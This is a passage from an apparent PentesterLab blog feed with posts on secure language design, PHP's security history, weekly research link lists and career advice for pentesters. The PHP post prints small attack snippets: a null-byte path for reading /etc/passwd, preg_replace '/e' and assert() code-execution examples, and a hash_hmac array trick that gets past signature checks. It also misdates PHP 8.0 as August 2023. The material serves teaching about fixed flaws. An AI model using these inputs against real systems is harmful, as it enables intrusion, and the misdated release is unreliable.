<p>The quality of the first results on Google for a language is also key. A lot of results for key functions get poisoned by SEO-seeking websites and provide incomplete, incorrect, or completely insecure snippets of code. The ranking of standard library documentation in search engines when developers look for solutions to their problems ("Encrypting Passwords in PHP," "Hashing Passwords in C#," "Avoiding XSS in Python") can make the difference between introducing and not introducing vulnerable code in a codebase.</p>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>In summary, while memory safety and typing are important, the real strength of a secure programming language lies in the quality of its standard library, the clarity of its documentation, and the predictability of its functions. By focusing on these areas, developers can build more secure web applications and avoid common security pitfalls. Remember, don’t reinvent the wheel when it comes to security—use the tools and resources provided by the language and framework to your advantage.</p>




]]>
      </description>
      <pubDate>Fri, 26 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/what-makes-a-language-more-secure</link>
      <guid>https://pentesterlab.com/blog/what-makes-a-language-more-secure</guid>
    </item>
    <item>
      <title>Is PHP REALLY Getting Better?</title>
      <description>
        <![CDATA[<div>
    <p class="mb-0">There’s been a lot of chatter about PHP being insecure, but as Luke Stephens points out in his article, <a target="_blank" href="https://hakluke.com/people-who-say-php-is-insecure-are-uninformed/">"People who say 'PHP is insecure' are uninformed"</a>, PHP is not that bad anymore. He breaks down why this belief is outdated and misinformed. One thing this article does not cover is something a lot of people don't realize: <b>Programming languages change over time</b>. PHP from 15 years ago is different from today's PHP.</p>
</div>

<div>
    <h5 class="fw-bold my-4">Blast from the Past...</h5>
    <p>If you are old-<strike>school</strike>, you probably remember Stefan Esser (i0n1c) and "The Month of PHP Bugs". Basically, Stefan spent March 2007 dropping vulnerabilities in PHP—not PHP applications, but PHP itself. This "Month of PHP Bugs" was started to increase awareness about PHP's lack of security. At the time, the PHP Hardened team was working on providing hardened versions of PHP (the "suhosin" patch). You can still find details about those bugs on web.archive.org: <a target="_blank" href="https://web.archive.org/web/20070914122946/http://www.php-security.org/">"The Month of PHP Bugs"</a>.</p>
    <p>Around this era, PHP applications were extremely common and had a very poor security track record.</p>
    <p>All of this didn't help PHP's reputation. But it was 17 years ago, and a lot has changed since then. One main thing is that PHP has reduced the number of surprising behaviors for developers. Let's dive in!</p>
</div>

<h5 class="fw-bold my-4">PHP has Changed and is Changing</h5>
<p>The PHP language has evolved significantly over the years. Many tricks to find vulnerabilities in PHP applications or exploit vulnerabilities in PHP have been rendered obsolete with new versions. Let's look at some of the significant changes!</p>

<div>
    <h4 class="ms-md-5 my-3 fw-normal">Null Bytes...</h4>
    <p>PHP used to rely on C functions to access files. C functions are notoriously bad at handling NULL bytes (<code>\x00</code> or URL-encoded <code>%00</code>). If you pass the string <code>/etc/passwd\x00hacktheplanet</code> to read a file, C functions will stop at the <code>NULL byte</code> and read the file <code>/etc/passwd</code>. This behaviour created a lot of vulnerabilities or made a lot of weaknesses exploitable. PHP moved away from this with PHP 5.3.4 by fixing CVE-2006-7243.</p>

    <h4 class="ms-md-5 my-3 fw-normal"><code>PCRE_EVAL</code></h4>
    <p>Another surprising behavior in PHP was available when you had control over a regular expression. The infamous <code>PCRE_EVAL</code> or <code>/e</code> could be used to have the result evaluated as PHP code, allowing for quick remote code execution. For example, in the snippet below:<p>
    <pre><code>echo preg_replace("/test/e","get_current_user()", "test");</code></pre>
    <p>will end up replacing <code>test</code> with <code>get_current_user()</code> and execute <code>get_current_user()</code> as PHP code... An real-life example of the danger of this can be found by analyzing CVE-2005-2086: a remote code execution impacting PHPBB. This behavior was removed in PHP 7.0.0 (released in December 2015)</p>

    <h4 class="ms-md-5 my-3 fw-normal">Loose Comparisons</h4>
    <p>Loose comparisons have also been a big issue in PHP. Why does <code>"php" == 0</code> or why does <code>"1`uname`" == 1</code>? This unexpected behavior was changed in PHP 8.0. Look for the little stars in the image below and the notes below the table:</p>
    <br/>
    <img src="/newdesign/imgs/blog-imgs/loose_php8.png" width="110%" alt="Loose comparison changes with PHP 8" /><br/> <br/>
    <p> While we're at it, why is <code>declare(strict_types=1);</code> so rarely used by PHP applications?</p>

    <h4 class="ms-md-5 my-3 fw-normal">Assert and RCE</h4>
    <p>PHP 8.0 also impacted the ability to gain remote code execution (RCE) by leveraging <code>assert()</code>. The contrived example below illustrates the issue:</p>
    <pre><code>echo assert(trim("'".$_GET['a']."'")); </code></pre>

    <p> and will lead to code execution.</p>

    <h4 class="ms-md-5 my-3 fw-normal">Assert and Raising...</h4>
    <p>Another unexpected behavior of PHP was the fact that, by default, <code>assert()</code> wouldn't stop the execution of the code. Admittedly, you could change this behavior, but as good application security engineers know: <b>"defaults matter"</b>. With PHP 8.0 (August 2023), the behavior has changed, and a failing <code>assert()</code> will stop the execution of the code by default! Before PHP 8.0, the following code:</p>

    <pre><code>echo assert(true == false);
echo "HACK";</code></pre>

    <p> will echo <code>HACK</code> in the default PHP configuration</p>

    <h4 class="ms-md-5 my-3 fw-normal"><code>hash_hmac()</code></h4>
    <p>Speaking of warnings, the following code illustrates a good trick to bypass a signature check - passing an array instead of a string:</p>
 
    <pre><code>hash_hmac('sha256',  array(), "HACKTHEPLANETWITHPENTESTERLAB");</code></pre>
 
    <p>This code returned NULL and raised a warning until PHP 8.0; since then, it has been raising a <code>TypeError</code>.</p>

    <h4 class="ms-md-5 my-3 fw-normal">Htmlentities and Single Quotes...</h4>
    <p>Another trick to find quick bugs in PHP applications was to look for values echoed in a page in JavaScript using single quotes. This used to work because PHP didn't escape single quotes by default. Again, in application security, defaults matter! This behavior was changed with PHP 8.1.</p>

    <p>Before PHP 8.1:</code>
    <pre><code>echo htmlentities("\"'&lt;&gt;"); //returns &amp;quot;'&amp;lt;&amp;gt; </code></pre>
    </p>
    
    <p>After PHP 8.1:</code>
    <pre><code>echo htmlentities("\"'<>"); //returns &amp;quot;&amp;#039;&amp;lt;&amp;gt;</code></pre>
    </p>

    <h5 class="fw-bold self-align-start mt-5">So, is PHP Great Now?</h5>
    <p>Well, there are still some surprises and interesting behaviors that were recently fixed in PHP. For example, check out <a target="_blank" href="https://bugs.php.net/bug.php?id=81744">this bug in <code>password_verify()</code></a> (The first comment is worth reading just to learn how not to do application security).</p>
    <p>PHP 8.1 also introduced new features that may surprise developers and likely bring a few bugs: <code>$_FILES[...]["full_name"]</code>. It's worth keeping an eye out for this in your next reviews.</p>

    <h5 class="fw-bold self-align-start mt-5">Conclusion</h5>
    <p>PHP has come a long way from its insecure past. While it has made significant strides in improving security and reducing unexpected behaviors, it's crucial for developers to stay informed about new features and potential security issues. Keeping up-to-date with the latest changes ensures that PHP applications remain secure and robust.</p>
</div>
 
]]>
      </description>
      <pubDate>Tue, 23 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/php-security-is-improving</link>
      <guid>https://pentesterlab.com/blog/php-security-is-improving</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 29/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! </p>
            </div>
            <div class="mb-5">

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔥</span> Unveiling TE.0 HTTP Request Smuggling</h5>
             <p>This <a target="_blank" href="https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/">blog post</a> provides details on the exploitation of TE.0 request smuggling. Definitely worth a read as a lot of people thought this wouldn't work... </p>

               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🛠️</span> Lemma </h5>
               <!--<div class="d-flex d-inline-block"><h7 class="px-2 py-1 text-danger border-danger me-2 l-space-quarter">Hard</h7><h7 class="px-2 py-1 text-pro-orange border-pro-orange me-2 l-space-quarter">Medium</h7><h7 class="px-2 py-1 text-success border-success me-2 l-space-quarter">Easy</h7><h7 class="px-2 py-1 tag-color text-white l-space-quarter">TagName</h7></div>-->
              <p>If you missed this new tool from defparam, you are probably living under a rock: defparam/lemma (no longer available). Take 20 minutes to look it up and see how it is a game changer to automation.</p>


                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> Encoding Differentials: Why Charset Matters</h5>
             <p>If I had time to do bug bounty, this is what I would be looking into right now: "<a target="_blank" href="https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/">Encoding Differentials: Why Charset Matters</a>".</p>
              
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🥪</span> Multi-sandwich attack with MongoDB</h5>
             <p>A great post on attacking MongoDB: <a target="_blank" href="https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html">Multi-sandwich attack with MongoDB</a>, great level of details and very interesting walkthrough</p>
            

               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🛠️</span> One Shell to Rule Them All</h5>
               <!--<div class="d-flex d-inline-block"><h7 class="px-2 py-1 text-danger border-danger me-2 l-space-quarter">Hard</h7><h7 class="px-2 py-1 text-pro-orange border-pro-orange me-2 l-space-quarter">Medium</h7><h7 class="px-2 py-1 text-success border-success me-2 l-space-quarter">Easy</h7><h7 class="px-2 py-1 tag-color text-white l-space-quarter">TagName</h7></div>-->
             <p>The team at Tanto released a new tool and put together a sweet write-up to help you start using it: <a target="_blank" href="https://tantosec.com/blog/oneshell/"></a></p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> Github Actions Exploitation: self-Hosted Runners</h5>
             <p>The Synactkiv team is back with another blog post on Github Actions, this time on <a target="_blank" href="https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners">self-hosted runners exploitation</a>.</p>

               <h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #544</h5>
                <!--<div class="d-flex d-inline-block"><h7 class="px-2 py-1 text-danger border-danger me-2 l-space-quarter">Hard</h7><h7 class="px-2 py-1 text-pro-orange border-pro-orange me-2 l-space-quarter">Medium</h7><h7 class="px-2 py-1 text-success border-success me-2 l-space-quarter">Easy</h7><h7 class="px-2 py-1 tag-color text-white l-space-quarter">TagName</h7></div>-->
              <p>AppSec eZine is back with <a target="_blank" href="https://pathonproject.com/zb/?7603123e900d5a7b#g+YKUnwm2c6CGyimNH3E9LX72lZiXAv5pUTILMia+TQ=">issue #544</a></p>
 
          </div>


]]>
      </description>
      <pubDate>Mon, 22 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week29-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week29-2024</guid>
    </item>
    <item>
      <title>The Journey from Pentesting to Security Code Review</title>
      <description>
        <![CDATA[<div>
<p>I think the hardest part for pentesters transitioning into security code review is going back to the low level of confidence they had when starting as blackbox testers and starting all over again. A big part of becoming a good blackbox tester is learning to be uncomfortable until you finally become comfortable: you're more knowledgeable and you know you can figure it out with a high degree of confidence. Security code review is exactly the same.</p>

<p>Here's the honest truth about this transition:</p>

<ul>
  <li><strong>It’s Hard:</strong> There’s no sugar-coating this. It's a challenging journey that demands patience and perseverance.</li>
  <li><strong>It Takes Time:</strong> Just as it did with pentesting, mastering code review is a gradual process.</li>
  <li><strong>Be Prepared to Feel Dumb Again:</strong> This is part of the learning curve.</li>
</ul>

</div>
<div>

<h3 class="my-3 fw-normal">Key Tips for the Transition</h3>

<h4 class="my-3 fw-normal"># Stay Focused</h4>
<p>Commit to spending substantial time on one codebase. Don’t switch targets every few hours just because you haven’t found a zero-day vulnerability. A chaotic approach won't help you grow as a code reviewer.</p>

<h4 class="my-3 fw-normal"># Find Good Targets</h4>
<p>Selecting the right codebases is crucial. You don't want something too hard or something too simple. You need to be able to grow. For guidance on this, check out our other blog post on <a href="https://pentesterlab.com/blog/how-to-start-reviewing-code">How to start reviewing code?</a>.</p>

<h4 class="my-3 fw-normal"># Measure Success Differently</h4>
<p>Stop measuring your success by the number of vulnerabilities you discover. Instead, look at your improvement in understanding code, navigating codebases, and deciphering complex code structures. These metrics are far more indicative of your progress as a reviewer.</p>

<h4 class="my-3 fw-normal"># Understand That What You Read/See Is Not the Reality</h4>
<p>You have probably come across a few blog posts or talks at security conferences and you think that what you read or saw is how code review happens. When you read or watch those, you only see the happy path: a shortcut that explains the issue. These rarely highlight the struggle, the real path the reviewer took to find a bug, or the thousands of detours they took along the way. They also don’t talk about the hundred times the reviewer wanted to give up.</p>

<h4 class="my-3 fw-normal"># You’re Not Wasting Your Time</h4>
<p>Even if you feel like you're not making significant progress, remember that all the time spent will at least help you become a better pentester. It's never wasted effort.</p>
</div>
<hr/>
<div>
<p>So, take a deep breath, embrace the suck, and dive into the world of code review with a positive mindset. You'll find that with time, persistence, and perseverance, you'll get there!</p>
</div>
]]>
      </description>
      <pubDate>Thu, 18 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/pentesters-to-security-code-reviewers</link>
      <guid>https://pentesterlab.com/blog/pentesters-to-security-code-reviewers</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 28/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
              <p class="mb-0">This week again, we publish a list of research worth reading! For the first time, we also make this content available on our blog!</p>
            </div>
            <div class="mb-5">
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔥</span> The case for burning counterterrorism operations</h5>
             <p>This <a href="https://blog.kwiatkowski.fr/the-case-for-burning-counterterrorism-operations">blog post</a> provides a response to the blog post <a href="https://poppopret.org/2024/06/24/google-stop-burning-counterterrorism-operations/">Google: Stop Burning Counterterrorism Operations</a>. Regardless of your opinion on the matter, both are worth reading and reflecting on to forge your own opinion. </p>         
                 
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> PlORMbing your Prisma ORM with time-based attacks</h5>
             <p>The great Elttam team is back at it with their series on ORM with this blog post: "<a href="https://www.elttam.com/blog/plorming-your-primsa-orm/">PlORMbing your Prisma ORM with time-based attacks</a>". Definitely worth a read.</p>
              
             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲</span> Introducing a New Vulnerability Class: False File Immutability</h5>
             <p>A long, high-quality blog post to learn more about Windows Internals: <a href="https://www.elastic.co/security-labs/false-file-immutability">Introducing a New Vulnerability Class: False File Immutability</a></p>
            
             <div class="mt-5 d-flex flex-column flex-lg-row align-items-start align-items-lg-center">
               <h5 class="fw-bold me-2 position-relative"><span class="topic-emoji">👉</span> AppSec eZine #543</h5>
               <!--<div class="d-flex d-inline-block"><h7 class="px-2 py-1 text-danger border-danger me-2 l-space-quarter">Hard</h7><h7 class="px-2 py-1 text-pro-orange border-pro-orange me-2 l-space-quarter">Medium</h7><h7 class="px-2 py-1 text-success border-success me-2 l-space-quarter">Easy</h7><h7 class="px-2 py-1 tag-color text-white l-space-quarter">TagName</h7></div>-->
            </div>
             <p>AppSec eZine is back with <a href="https://pathonproject.com/zb/?7603123e900d5a7b#g+YKUnwm2c6CGyimNH3E9LX72lZiXAv5pUTILMia+TQ=">issue #543</a></p>

             <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👉</span> Evernote RCE</h5>
             <p>A very detailed and high-quality post on a <a href="https://0reg.dev/blog/evernote-rce">RCE in Evernote leveraging PDF.js</a>. The content covers both the vulnerability and its exploitation and some Electron internals.</p>
 
          </div>


]]>
      </description>
      <pubDate>Mon, 15 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/cyber-research-worth-reading-week28-2024</link>
      <guid>https://pentesterlab.com/blog/cyber-research-worth-reading-week28-2024</guid>
    </item>
    <item>
      <title>What Developers Get for Free</title>
      <description>
        <![CDATA[ <div class="mb-0">
  <p class="mb-0">One effective way to accelerate your security code review or pentest is to understand <b>what developers get for free!</b> In this blog post, we'll see why this matters.<br/></p> 
</div>
<div>
  <p>Today, it's increasingly rare for developers to create applications without utilizing frameworks and libraries. These tools offer functionalities that are often more mature and reliable than custom-written code.</p>
  <p>For example, developers shouldn't usually have to write their own implementations for authentication, password storage, JWT, or SAML. These features are hard to write and hard to get right. The more developers rely on battle-tested code for these, the better.</p>
  <p>For security reviewers, this means you can probably increase your coverage by spending more time on the code that developers didn't get for free!</p>
  <p>This doesn't mean you shouldn't test these frameworks or libraries. Instead, it suggests that the code provided by these tools is generally of higher quality and security.</p>
  <p>Understanding what developers get for free can also help you identify common misuse. If you're experienced in code review or pentesting, you know that many frameworks and libraries do not always provide a high level of error-proofing, and developers often make similar mistakes.</p>
</div>

<h5 class="fw-bold my-4">But how do you know what developers got for free? Great question!</h5>
<div>
  <p>As a security code reviewer, you can look at the list of dependencies used by the application to know what the application is using. From there, you just need to ensure they are using those dependencies properly.</p>
  <p>From a black box perspective, it's a bit harder to know accurately, but you can rely on a few clues: error messages, URL mapping, quirks that the library or framework may have, exposed documentation and example pages left from development, favicons, HTTP headers, cookie names, and so on. It’s challenging at first, but with time and experience, you can get really good at this!</p>
  <p>If you are working in application security and want to scale your efforts, providing as much "free code" to your developers as possible is key. This "free code" ensures they don't reinvent the wheel, and you won't have to review 200 implementations of the same thing. Be sure to check out our blog post on <a href="/blog/building-blocks">building blocks</a> that covers this in detail.</p>
  <p>In some cases, especially with hard targets, you may need to do the opposite and scrutinize the "free code" more closely. You may find that the dependencies are a softer target than the main codebase relying on them. </p>
  <p>In conclusion, "free code" is a crucial aspect of any source code review and pentest, as well as a key component of a scalable application security strategy.</p>
</div>

<h5 class="fw-bold my-4">So what do developers actually get for free — and what should they?</h5>
<p>Let’s walk through a few examples of where frameworks and languages are doing a great job, and where they still leave developers exposed to unnecessary risks.</p>

<h5 class="fw-bold my-4">Examples of what developers already get for free</h5>
<p>Modern frameworks do a great job at embedding security features into the core developer experience. Here are a few examples that stand out:</p>
<p><b>Django's password hashing auto-upgrade</b>: when a user logs in, Django transparently re-hashes their password using the most secure algorithm configured. Developers don’t need to worry about migrating hash formats or checking against legacy ones — it just works, securely.</p>
<p><b>Traversal-resistant file APIs in Go</b>: Go recently introduced secure file system functions that help prevent directory traversal vulnerabilities. With these APIs, developers can safely resolve file paths without manually sanitizing input or writing fragile code. It’s an example of how better primitives lead to fewer bugs.</p>

<h5 class="fw-bold my-4">But what are we still missing?</h5>
<p>While frameworks and languages have improved significantly, there are still security pitfalls that developers routinely fall into — often because the APIs lead them in the wrong direction by default.</p>
<p><b>HTTP clients that follow redirects by default</b>: This behavior is one of the most common causes of SSRF vulnerabilities observed during code reviews and CVE research. Developers add a deny list of internal IP addresses to prevent SSRF, but the HTTP client automatically follows redirects — allowing attackers to bounce through an external site and land inside the restricted range.</p>
<p>Disabling redirect-following should be the default, or at the very least much easier to control. Developers should have to opt into redirect behavior — not the other way around.</p>
<p><b>Hostname validation done wrong</b>: Validating that a hostname belongs to a trusted domain seems easy, but it’s a trap for many developers. Common mistakes include using <code>Contains("trusted.com")</code> or even <code>EndsWith("trusted.com")</code>, which can be bypassed with hostnames like <code>notreallytrusted.com</code> or <code>hackingtrusted.com</code>.</p>
<p>This could be solved with better APIs — something like <code>isSubdomainOf("trusted.com", input)</code> — that do the hard work correctly and consistently, making it easier to avoid common errors.</p>

<h5 class="fw-bold my-4">In summary</h5>
<p>The more developers get for free — through secure defaults, guardrails, and high-quality primitives — the less they have to invent and the less security has to review. Some frameworks like Django and Go are leading the way, but there’s still a lot of room for improvement.</p>
<p>We should continue asking: <b>what else should developers get for free?</b> Because the more we get this right at the foundation, the more secure our applications become — by default.</p>



]]>
      </description>
      <pubDate>Wed, 10 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/what-developers-get-for-free</link>
      <guid>https://pentesterlab.com/blog/what-developers-get-for-free</guid>
    </item>
    <item>
      <title>The Power of Scripting in Web Hacking</title>
      <description>
        <![CDATA[           <div>
            <p>In web hacking, scripting is a key skill that separates good hackers from great ones. If you follow top web hackers, you’ll notice they use a lot of scripts. But why is scripting so important?</p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <h5 class="fw-bold mb-2">Automate the Tedious Tasks</h5>
            <p class="mb-5">Web hacking involves many repetitive tasks, like testing inputs or extracting data. Scripting helps automate these tasks, saving you time for more complex problems. Imagine having a script that maps out a website or checks for vulnerabilities automatically — it’s like having a helpful assistant.</p>
            <h5 class="fw-bold mb-2">Quick Feedback Loops</h5>
            <p class="mb-5">Fast feedback is crucial in web hacking. The quicker you can test and see results, the faster you can improve your approach. Scripting gives you instant feedback, helping you adjust your tactics quickly. Whether you’re testing a new payload or refining an exploit, scripts provide the quick insights you need.</p>
            <h5 class="fw-bold mb-2">Reduce Mistakes</h5>
            <p class="mb-5">Humans make mistakes, especially with repetitive tasks. Scripts help reduce errors and typos by ensuring consistency. A well-written script performs tasks flawlessly every time, reducing the risk of missed vulnerabilities or faulty exploits.</p>
            <h5 class="fw-bold mb-2">It’s Fun!</h5>
            <p class="mb-5">Have you ever written a script that extracts data from a database bit by bit, watching the string appear byte by byte? It’s like solving a digital puzzle. Scripting turns boring tasks into fun challenges, making hacking more enjoyable.</p>
            <h5 class="fw-bold mb-2">Learning Opportunity</h5>
            <p class="mb-5">Scripting is a great way to learn. As you write more scripts, you’ll improve your coding skills, problem-solving abilities, and get better at debugging and exploiting issues. Each script teaches you something new, helping you become a more skilled hacker over time.</p>
            <h5 class="fw-bold mb-2">Overcoming Tool Limitations</h5>
            <p class="mb-5">Automated tools are useful, but they have limits. Top hackers often face challenges where these tools fall short, like weird HTTP parser bugs or complex SQL injections. Custom scripts help tackle these unique problems. Writing your own scripts allows you to exploit vulnerabilities that automated tools might miss.</p>
            <h5 class="fw-bold mb-2">Easier Sharing</h5>
            <p class="mb-5">Scripts are easier to share with others. Code is clear and precise, unlike written instructions that can be misunderstood. Sharing a script ensures others can replicate your actions exactly, reducing errors and improving collaboration. This makes working with a team or contributing to the hacking community more effective.</p>
            <h5 class="fw-bold mb-2">Building a Repertoire</h5>
            <p class="mb-5">The first script might be tough, but it gets easier with practice. As you build a library of scripts, you can use them to speed up your work. Over time, you’ll develop a powerful toolkit that helps you tackle new challenges more efficiently. Scripting becomes a habit, and your efficiency as a hacker grows.</p>
            <h5 class="fw-bold mb-2">Getting Started with Scripting</h5>
            <p>If you’re not sure which scripting language to choose or how to get started, check out our YouTube channel, <a href="https://www.youtube.com/@pentesterlab">@PentesterLab</a>. We have a video on how to pick a <a href="https://www.youtube.com/watch?v=XoMPS4omqXo">scripting language that’s right for you</a>. From Python to JavaScript, there’s a language that will suit your style.</p>
            <p>In conclusion, scripting is not just a skill but a crucial part of effective web hacking. It automates tedious tasks, provides quick feedback, reduces errors, and makes hacking more fun. It’s a great learning tool, helps overcome the limits of automated tools, and improves collaboration through shareable code.</p>
          </div>


]]>
      </description>
      <pubDate>Wed, 03 Jul 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/the-power-of-scripting-in-web-hacking</link>
      <guid>https://pentesterlab.com/blog/the-power-of-scripting-in-web-hacking</guid>
    </item>
    <item>
      <title>6 Questions to Ask When Interviewing for an AppSec Role</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">You wrote the perfect resume, the interview is going well! Now the classic <b>“Do you have any questions for us?”</b> is coming. Asking questions is a great way to look prepared, show your interest, and learn more about the company...</p> 
            </div>
            <h5 class="fw-bold my-3">But what should you ask?</h5>
             <p>In this blog post, we’ve compiled a few questions that will help you learn as much as possible about the team you’re looking to join and demonstrate that you know how to ask the right questions. Keep in mind, it’s best to pick one or two questions that are most important to you rather than asking all of them.</p>          
            <div>
              <h4 class="ms-md-5 my-4 fw-normal">1. When trying to solve a problem, does the team usually build or buy?</h4>
              <p>Understanding whether the team leans towards building in-house solutions or purchasing commercial tools can give you insight into the type of work you’ll be doing. If the team builds its own tools, you might be involved in more creative and development-heavy tasks. If they prefer to buy, your role may focus more on deploying and managing these tools. Both approaches have their merits; the key is knowing which one aligns better with your preferences.</p>
              <h4 class="ms-md-5 my-4 fw-normal">2. What training is provided to the team?</h4>
              <p>Training is a crucial part of staying current in the ever-evolving field of AppSec. Look for opportunities to attend conferences and access high-quality training platforms like PentesterLab PRO. Continuous learning will not only help you grow professionally but also keep the team at the forefront of security practices.</p>
              <h4 class="ms-md-5 my-4 fw-normal">3. How does the team interact with the development and DevOps teams?</h4>
              <p>The nature of the relationship between AppSec, development, and DevOps teams can significantly impact your work environment. Ideally, these teams should work closely together, fostering collaboration rather than operating in silos. Avoiding adversarial interactions is crucial. You might also ask: “Is there a group or process around the adoption of new technologies, and is the AppSec team part of it?” This can reveal how integrated the AppSec team is within the broader technology strategy of the company.</p>
              <h4 class="ms-md-5 my-4 fw-normal">4. What does a typical day look like?</h4>
              <p>This question will help you gain an understanding of your daily responsibilities. Will your days be filled with meetings, design reviews, code reviews, or penetration testing? Knowing this can help you assess if the day-to-day work aligns with your interests, aspirations, and strengths.</p>
              <h4 class="ms-md-5 my-4 fw-normal">5. What are the next three things you need to solve in your AppSec program?</h4>
              <p>This question helps you gauge the maturity of the AppSec team. Are they proactive with a clear strategy, or are they constantly putting out fires? A team with a strategic approach to upcoming challenges is likely to offer a more structured and fulfilling work environment.</p>
              <h4 class="ms-md-5 my-4 fw-normal">6. Tell me about a recent win for the AppSec team.</h4>
              <p>Hearing about recent successes can provide insight into the team’s achievements and their approach to celebrating and building on these successes. It’s also a great way to understand the team’s maturity level and whether they have a strategy that is effectively implemented.</p>
              <h5 class="fw-bold self-align-start mt-5">Conclusion</h5>
              <p>Asking these questions can help you gather critical information about the potential role and work environment, ensuring that it aligns with your professional goals and work style. Remember, an interview is a two-way street; it’s as much about you finding the right fit as it is about the employer evaluating you.</p>
            </div>


]]>
      </description>
      <pubDate>Fri, 14 Jun 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/6-questions-to-ask-when-interviewing-for-an-appsec-role</link>
      <guid>https://pentesterlab.com/blog/6-questions-to-ask-when-interviewing-for-an-appsec-role</guid>
    </item>
    <item>
      <title>Embrace the suck!</title>
      <description>
        <![CDATA[            <div>
              <p>When handling customer support for PentesterLab, we often get emails from people who can’t solve a challenge:</p>
              <h4 class="ms-md-5 my-5 fw-normal"><i>“… I have been working on this challenge for the past 3 days and I really can’t get it to work.”</i></h4>
              <p>Often, it’s a tiny detail that is missing. Some encoding, a small typo, or something similar. After solving the issue, we sometimes get an email like:</p>
              <h4 class="ms-md-5 my-5 fw-normal"><i>“… I can’t believe I missed that, I’m such an idiot…”</i></h4>
              <p>And this is our usual reply:</p>
              <h4 class="ms-md-5 my-5 fw-normal"><i>It’s normal to make mistakes. You’re here to learn. Don’t be too hard on yourself. This is hard, and every detail matters.</i></h4>
              <p class="mb-6">If you spend 3 days struggling to solve a lab, and after 3 days you decide to contact support, you should be proud of yourself. You tried really hard, you struggled, and you didn’t give up for a long time despite how frustrating it can be.</p>
              
              <div class="d-flex justify-content-center">
                <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                  <circle cx="3" cy="3" r="3" fill="#686868"/>
                  <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                  <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
                </svg>
              </div>
              
              <p class="mt-6">Now you have the answer, you know what mistakes you made. Trust me, you’re not going to forget this one. And it’s likely to be the first thing you will check next time you get stuck.</p>
              <p>You are much better than you were 3 days ago. You spent a fair amount of time trying to debug what was happening. Learning to debug payloads and exploits is probably more important than managing to exploit an issue on the first try. I would argue that most hacking is about trying to understand or guess with a high level of certainty what the issue actually is (or if there is an issue at all).</p>
              <p>Keep going, <b><i>embrace the suck</i></b>, you are on the right path!</p>
            </div>  

]]>
      </description>
      <pubDate>Mon, 03 Jun 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/embrace-the-suck</link>
      <guid>https://pentesterlab.com/blog/embrace-the-suck</guid>
    </item>
    <item>
      <title>Don't Let Tools Spoil Your Hacking Education</title>
      <description>
        <![CDATA[           <div>
                <p class="mb-6">In the world of hacking, the right tools can make all the difference. However, when you’re just starting out, it’s crucial to understand the fundamentals before leaning on these automated solutions.</p>
                  <div class="d-flex justify-content-center">
                    <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                      <circle cx="3" cy="3" r="3" fill="#686868"/>
                      <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                      <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
                    </svg>
                  </div>
               <p class="mt-6">When learning how to attack web applications, automated tools are very attractive. They can quickly find and exploit vulnerabilities and even suggest how to fix them. You run a command with a few parameters and you get the flag. However, depending only on these tools without understanding how attacks work can hinder your growth as a hacker. This post explains why you should focus on manual learning before using tools.</p>
                <p class="mb-6">I (@snyff) recently tweeted about learning to attack JWT and jwt_tool:</p>
